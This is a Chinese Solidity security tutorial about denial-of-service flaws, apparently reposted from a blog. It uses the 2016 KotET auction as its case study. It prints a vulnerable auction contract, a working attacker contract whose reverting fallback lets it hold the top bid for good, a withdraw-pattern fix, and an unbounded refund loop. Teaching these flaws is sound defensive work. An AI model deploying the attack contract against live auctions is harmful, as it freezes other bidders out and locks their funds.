solidity智能合约[51]-安全—dos***

Dos***

dos***也叫做拒绝服务***,通过使程序操作无效完成***的目的。

下面的一段合约是2016年KotET(“纷争时代”)合约,其遭受了dos***。本小节将揭开此合约被***的秘密。

源代码

在下面KotET合约代码中,模拟了争夺皇位的功能。只有出价最高的人才能够夺得桂冠。 合约中的bid方法正是最核心的竞价合约。只有当msg.value即附带的以太币大于当前最大的出价人,就会首先将从前的最高价格转移给从前的出价人。完成之后,新的价格和资金会替换掉旧的资金。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pragma solidity ^0.4.23;
contract Auction{
   address public currentLeader; //当前最高出价人
   uint256 public highestBid;  //当前最高价格
   mapping(address=>uint) balance;  //资金表

   //竞价合约
   function bid() public payable{
       require(msg.value >highestBid);
       require(currentLeader.send(highestBid));

       currentLeader = msg.sender;
       highestBid= msg.value;
   }
}

***合约

下面是******的合约。***手法为:首先部署POC合约。假设为0x3456 将Auction合约的地址传递给setInstance,构建auInstance接口实例。从而能够在外部调用合约。执行attack方法,附带以太坊,例如100wei。假设还没有进行过拍卖,那么当前的最高出价地址为当前合约,最高价格为100wei。假设有另外一个人想争夺皇位,其出价了200wei 调用了Auction合约的bid方法。虽然其价格最高,但是这笔操作不能成功。原因就在于currentLeader.send(highestBid)转账,如果是合约地址,会调用合约中自定义的回调函数,而在当前案例中的回调函数,revert()意味着操作回滚,不成功。因此始终没有办法将钱还给合约,此合约将霸占王位。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pragma solidity ^0.4.23;
interface Auction{

   function bid() external payable;
}
contract POC{

   address owner;
   Auction auInstance;
   constructor() public{
       owner = msg.sender;
   }

   modifier onlyOwner(){
       require(owner==msg.sender);
       _;
   }

   function setInstance(address addr) public onlyOwner{
       auInstance = Auction(addr);
   }
   function attack() public payable onlyOwner{
       auInstance.bid.value(msg.value)();
   }


   function() external payable{
       revert();
   }
}

解决办法

让用户自己去取钱,而不是自动的转移资金到失败者的账户中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.23;
contract Auction{
   address public currentLeader;
   uint256 public highestBid;
   //存储金额
   mapping(address=>uint) public balance;
   function bid() public payable{
       require(msg.value >highestBid);
       balance[currentLeader] = highestBid;
       currentLeader = msg.sender;
       highestBid= msg.value;
   }
   //用户提钱
   function withdraw() public{

       require(balance[msg.sender]!=0);

       msg.sender.transfer(balance[msg.sender]);
       balance[msg.sender] = 0;
   }
}

dos***案例2

dos***的第二个例子是,谨慎的使用循环。

如下,refundAll方法为动态数组refundAddresses中每一个账户转移资金。由于refundAddresses长度不确定。一旦超过了以太坊gaslimit的限制,就会导致这笔操作不能够成功。

对可以被外部用户人为操纵的数据结构进行批量操作,建议使用取回模式而不是发送模式,每个投资者可以使用withdrawFunds取回自己应得的代币。
如果实在必须通过遍历一个变长数组来进行转账,最好估计完成它们大概需要多少个区块以及多少笔交易。

下面合约的第二个错误在于,一旦某一个账户转账不成功,就会导致所以交易回滚,全部失败。

1
2
3
4
5
6
7
8
9
address[] private refundAddresses;
mapping (address => uint) public refunds;


function refundAll() public {
   for(uint x; x < refundAddresses.length; x++) {
       require(refundAddresses[x].send(refunds[refundAddresses[x]]))
   }
}

参考资料

https://consensys.github.io

image.png

猜你喜欢

转载自blog.51cto.com/13784902/2324017